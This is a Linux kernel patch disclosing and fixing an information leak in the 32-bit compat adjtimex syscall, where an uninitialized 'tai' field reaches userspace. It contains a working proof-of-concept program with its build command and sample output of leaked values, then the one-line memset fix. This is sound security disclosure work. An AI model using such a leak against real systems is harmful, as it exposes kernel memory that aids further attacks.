/*
Commit 3a4d44b61625 ("ntp: Move adjtimex related compat syscalls to native
counterparts") removed the memset() in compat_get_timex(). Since then, the
compat adjtimex syscall can invoke do_adjtimex() with an uninitialized
->tai. If do_adjtimex() doesn't write to ->tai (e.g. because the arguments
are invalid), compat_put_timex() then copies the uninitialized ->tai field
to userspace.
Demo:
$ cat leak_32.c
*/
#include <sys/timex.h>
#include <assert.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdint.h>
#include <err.h>
/* from include/linux/timex.h */
#define ADJ_ADJTIME 0x8000
int main(void) {
struct timex tx;
memset(&tx, 0, sizeof(tx));
tx.modes = ADJ_ADJTIME; /* invalid, causes early bailout */
int res = adjtimex(&tx);
assert(res == -1 && errno == EINVAL);
printf("0x%08x\n", (unsigned int)tx.tai);
return 0;
}
/*
$ gcc -o leak_32 leak_32.c -Wall -m32
$ for i in {0..10}; do sleep 1; ./leak_32; done
0x01a300b0
0x0be8f6f0
0x0610d5f0
0x01fa0170
0x0bf05670
0x0bf05670
0x0610d5f0
0x0610cd70
0x0610d5f0
0x0610d5f0
Fixed in master: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0a0b98734479aa5b3c671d5190e86273372cab95
Fix it by adding the memset() back.
Fixes: 3a4d44b61625 ("ntp: Move adjtimex related compat syscalls to native counterparts")
Signed-off-by: Jann Horn <jannh@google.com>
---
kernel/compat.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/kernel/compat.c b/kernel/compat.c
index 6d21894806b4..92d8c98c0f57 100644
--- a/kernel/compat.c
+++ b/kernel/compat.c
@@ -34,6 +34,7 @@ int compat_get_timex(struct timex *txc, const struct compat_timex __user *utp)
{
struct compat_timex tx32;
+ memset(txc, 0, sizeof(struct timex));
if (copy_from_user(&tx32, utp, sizeof(struct compat_timex)))
return -EFAULT;
--
2.17.0.441.gb46fe60e1d-goog
*/
